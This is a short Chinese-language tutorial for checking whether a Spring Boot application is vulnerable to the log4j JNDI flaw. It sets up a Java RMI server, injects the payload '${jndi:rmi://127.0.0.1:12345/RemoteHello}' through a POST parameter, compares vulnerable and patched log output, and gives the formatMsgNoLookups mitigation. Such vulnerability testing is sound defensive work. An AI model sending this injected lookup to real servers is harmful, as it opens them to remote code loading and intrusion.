1、服务端
java版本 1.8
新建立目录
mkdir demo
新建文件
MyRemoteService.java
内容如下
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface MyRemoteService extends Remote {
public String sayHello() throws RemoteException;
}
Server.java
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String[] args) {
try {
MyRemoteService service = new MyRemoteServiceImpl();
LocateRegistry.createRegistry(12345);
Naming.rebind("rmi://148.153.66.198:12345/RemoteHello", service);// 绑定本地rmiregistry端口
System.out.println("servier running");
} catch (Exception e) {
e.printStackTrace();
}
}
}
在当前目录执行命令
javac *.java
java Server
2、项目
springboot 里面,在java目录下也新建立一个和服务器一样的MyRemoteService.java ,内容一致
新建立一个post 接口,body 包含test参数
logger.info("test_log4j: {}", test);
启动项目,调用测试接口,参数变量传:
${jndi:rmi://127.0.0.1:12345/RemoteHello}
查看日志打印,如没有修复漏洞,日志打印如下:
test_log4j:Proxy[MyRemoteService,RemoteObjectinvocationHandler[UnicastRef[liveRef:[endpoint:[127.0.0.1:41441)(r
emote),objID:[-15adb53:17b6c81be4:-7fff,-8958342993681366219]1111
如修复漏洞,日志打印如下:
test_log4j:$(jndi:rmi://127.0.0.1:12345/RemoteHello}
简单漏洞修复:
java启动参数追加:
java -Dlog4j2.formatMsgNoLookups=true
仅供参考,漏洞测试